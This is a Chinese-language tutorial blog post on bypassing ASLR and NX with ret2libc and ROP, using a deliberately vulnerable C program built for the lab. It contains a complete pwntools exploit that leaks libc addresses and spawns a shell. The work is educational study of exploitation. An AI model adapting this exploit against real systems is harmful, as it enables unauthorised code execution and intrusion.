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          高级栈溢出及ret2libc
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        <h1 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h1><blockquote>
<p>实验环境：uname -a    64位 ubuntu 16.04</p>
<p>Linux ubuntu 4.4.0-122-generic #146-Ubuntu SMP Mon Apr 23 15:34:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux</p>
</blockquote>
<ul>
<li>gdb-peda</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ git clone https:&#x2F;&#x2F;github.com&#x2F;longld&#x2F;peda.git ~&#x2F;peda</span><br><span class="line">$ echo &quot;source ~&#x2F;peda&#x2F;peda.py&quot; &gt;&gt; ~&#x2F;.gdbinit</span><br></pre></td></tr></table></figure>

<ul>
<li>pwntools</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ pip install pwn</span><br></pre></td></tr></table></figure>

<a id="more"></a>

<h3 id="三种保护机制"><a href="#三种保护机制" class="headerlink" title="三种保护机制"></a>三种保护机制</h3><ul>
<li><strong>ASLR</strong> ：地址空间随机化，每次运行函数地址改变。</li>
</ul>
<p>​        绕过：随机化只是将每次库函数加载地址随机，库函数间相对地址不变，因此通过GOT来泄漏库函数地址，  以推导出libc中其他函数（如system）的地址。</p>
<ul>
<li><strong>NX</strong> ：通过在页表上设置NX(不可执行）位，将非代码段的地址空间设置成不可执行属性，一旦系统从这些地址空间进行取指令时，CPU就是报内存违例异常，进而杀死进程。栈空间也被操作系统设置了不可执行属性，因此普通的<code>shellode</code>注入无法执行。</li>
</ul>
<p>​        绕过：<code>ret2libc</code> 利用已有代码，更改返回地址时返回到系统函数。</p>
<ul>
<li><strong>Cannary</strong>  ： 通过在缓冲区和返回地址间插入一个<code>canary word</code> ，当缓冲区被溢出时，在返回地址被覆盖之前 canary word 会首先被覆盖。通过检查 canary word 的值是否被修改，就可以判断是否发生了溢出攻击。</li>
</ul>
<p>​       暂时未研究如何绕过，因此使用<code>-fno-stack-protector</code> 标志关闭该安全保护机制。        </p>
<h3 id="ret2libc"><a href="#ret2libc" class="headerlink" title="ret2libc"></a>ret2libc</h3><p><strong>难点：</strong> </p>
<ol>
<li>由于ASLR机制，需要泄漏库函数地址以确定<code>system</code> 函数地址，本次结合<code>ROP</code> 使用<code>write</code> 函数获取<code>write</code> 函数实际地址。</li>
<li>由于操作环境为64位<code>linux</code> ，函数通过<code>rdi,rsi,rdx,rcx,r8,r9</code> 以及栈传参，因此采用<code>pop,ret</code> 片段装填参数</li>
</ol>
<p>​    本次实验结合了<code>ret2libc</code> 与<code>ROP</code> 两种手段，为简化操作，内置了需要的<code>gadget</code> 。</p>
<h3 id="漏洞程序"><a href="#漏洞程序" class="headerlink" title="漏洞程序"></a>漏洞程序</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*************************************************************************</span></span><br><span class="line"><span class="comment">    &gt; File Name: vuln.c</span></span><br><span class="line"><span class="comment">    &gt; Author: xsyin</span></span><br><span class="line"><span class="comment">    &gt; Mail: shouyinXu@163.com </span></span><br><span class="line"><span class="comment">    &gt; Created Time: 2018年05月05日 星期六 14时24分14秒</span></span><br><span class="line"><span class="comment">    &gt; Make: gcc -fno-stack-protector -g vuln.c -o vuln</span></span><br><span class="line"><span class="comment"> ************************************************************************/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">helper</span><span class="params">()</span></span>&#123;</span><br><span class="line">	<span class="keyword">asm</span>(<span class="string">"pop %rdi; pop %rsi; pop %rdx; ret"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vuln</span><span class="params">()</span></span>&#123;</span><br><span class="line">	<span class="keyword">char</span> buf[<span class="number">128</span>];</span><br><span class="line">	<span class="built_in">memset</span>(buf,<span class="number">0</span>,<span class="number">128</span>);</span><br><span class="line">	<span class="built_in">write</span>(STDOUT_FILENO, <span class="string">"Enter input: \n"</span>,<span class="number">14</span>);</span><br><span class="line">	<span class="built_in">read</span>(STDIN_FILENO, buf, <span class="number">512</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> <span class="keyword">const</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	vuln();</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><code>read</code> 函数中允许写入521字节到一个只有128字节的缓冲区，明显的缓冲区溢出利用点。</p>
<ul>
<li>寻找溢出点</li>
</ul>
<p><img src="%E9%80%89%E5%8C%BA_065.png" alt="选区_065"></p>
<p><img src="%E9%80%89%E5%8C%BA_066.png" alt="选区_066"></p>
<p>溢出点在偏移136处，即<code>buf</code> 填充136之后为返回地址。</p>
<ul>
<li>寻找需要的<code>gadget</code> 片段</li>
</ul>
<p><img src="%E9%80%89%E5%8C%BA_067.png" alt="选区_067"></p>
<ul>
<li>构造<code>payload</code> ：</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#payload1 获取write函数实际地址</span><br><span class="line">payload1 &#x3D; &quot;A&quot; * 136  #截至返回地址前的缓冲区长度</span><br><span class="line">payload1 +&#x3D; p64(pppr) #跳转到PPPR指令序列，为write函数赋值</span><br><span class="line">payload1 +&#x3D; p64(0x1) #write函数的第一个参数，1表示输出到stdout</span><br><span class="line">payload1 +&#x3D; p64(got_write) #write函数的第二个参数，表示要输出字符串的首地址</span><br><span class="line">payload1 +&#x3D; p64(0x8) #write函数的第三个参数，表示要输出字符串的长度</span><br><span class="line">payload1 +&#x3D; p64(plt_write) #调用write函数</span><br><span class="line">payload1 +&#x3D; p64(vuln)      #继续调用vuln函数</span><br></pre></td></tr></table></figure>

<p>由于<code>linux</code> 共享库的延迟绑定技术，函数第一次调用时填充<code>GOT</code>表，在运行到<code>read</code> 函数时<code>write</code> 函数<code>GOT</code> 表中已填入实际地址。<code>payload1</code> 读取该地址。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#payload2 跳转至库函数system</span><br><span class="line">payload2 &#x3D; &quot;A&quot; * 136   #截至返回地址前的缓冲区长度</span><br><span class="line">payload2 +&#x3D; p64(pr)   #跳转到PR指令序列，填充system的第一个参数</span><br><span class="line">payload2 +&#x3D; p64(binsh_addr)  #system函数的第一个参数&#x2F;bin&#x2F;sh</span><br><span class="line">payload2 +&#x3D; p64(systemAddr)    #调用system函数</span><br></pre></td></tr></table></figure>

<h3 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h3><p><img src="%E9%80%89%E5%8C%BA_068.png" alt="选区_068"></p>
<p>退出报错，可以通过PPPR片段再次跳转到<code>exit</code> 函数正常退出。</p>
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p> <strong>优点：</strong>  通过<code>ret2libc</code> 与 <code>ROP</code> 绕过了ASLR与NX机制</p>
<p><strong>缺点：</strong> </p>
<ol>
<li>未绕过GS机制，可通过更改<code>__stackchk_fail__</code>函数<code>GOT</code> 表项</li>
</ol>
<ol start="2">
<li>内置了需要的<code>gadget</code> ，可使用通用的片段，ret2csu</li>
<li>需要知道 <code>libc</code> 路径及版本，可通过pwntools提供的DynELF模块来进行内存搜索</li>
</ol>
<h3 id="利用程序"><a href="#利用程序" class="headerlink" title="利用程序"></a>利用程序</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="comment"># file: exploit.py</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">'vuln'</span>)</span><br><span class="line">libc = ELF(<span class="string">'/lib/x86_64-linux-gnu/libc.so.6'</span>)</span><br><span class="line">p = process(<span class="string">'./vuln'</span>)</span><br><span class="line"></span><br><span class="line">pppr = <span class="number">0x4005ba</span></span><br><span class="line">pr = <span class="number">0x400693</span></span><br><span class="line"></span><br><span class="line">plt_write = elf.symbols[<span class="string">'write'</span>]</span><br><span class="line">got_write = elf.got[<span class="string">'write'</span>]</span><br><span class="line"></span><br><span class="line">libc_write = libc.symbols[<span class="string">'write'</span>]</span><br><span class="line">libc_system = libc.symbols[<span class="string">'system'</span>]</span><br><span class="line"><span class="keyword">print</span> <span class="string">"libc_system: "</span>+hex(libc_system)</span><br><span class="line"></span><br><span class="line">vuln = elf.symbols[<span class="string">'vuln'</span>]</span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">"A"</span> * <span class="number">136</span></span><br><span class="line">payload1 += p64(pppr)</span><br><span class="line">payload1 += p64(<span class="number">0x1</span>)</span><br><span class="line">payload1 += p64(got_write)</span><br><span class="line">payload1 += p64(<span class="number">0x8</span>)</span><br><span class="line">payload1 += p64(plt_write)</span><br><span class="line">payload1 += p64(vuln)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">"Enter input:"</span>)</span><br><span class="line"><span class="keyword">print</span> <span class="string">"################ send payload1 ###########"</span></span><br><span class="line">p.send(payload1)</span><br><span class="line">p.recv(<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">writeAddrTmp = struct.unpack(<span class="string">'&lt;Q'</span>, p.recv(<span class="number">8</span>)[<span class="number">-8</span>::])</span><br><span class="line">writeAddr = writeAddrTmp[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">print</span> <span class="string">"writeAddr:"</span>, hex(writeAddr)</span><br><span class="line"></span><br><span class="line">systemAddr = (writeAddr - libc_write) + libc_system</span><br><span class="line"><span class="keyword">print</span> <span class="string">"systemAddr:"</span>, hex(systemAddr)</span><br><span class="line"></span><br><span class="line">binsh_addr = (writeAddr - libc_write) + next(libc.search(<span class="string">'/bin/sh'</span>))</span><br><span class="line"><span class="keyword">print</span> <span class="string">"binsh_addr:"</span>, hex(binsh_addr)</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">"A"</span> * <span class="number">136</span></span><br><span class="line">payload2 += p64(pr)</span><br><span class="line">payload2 += p64(binsh_addr)</span><br><span class="line">payload2 += p64(systemAddr)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">"Enter input:"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"################ send payload2 ###########"</span></span><br><span class="line">p.send(payload2)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>



<h3 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h3><p><a href="https://jaq.alibaba.com/community/art/show?articleid=473" target="_blank" rel="noopener">一步一步学ROP之linux_x64篇</a></p>

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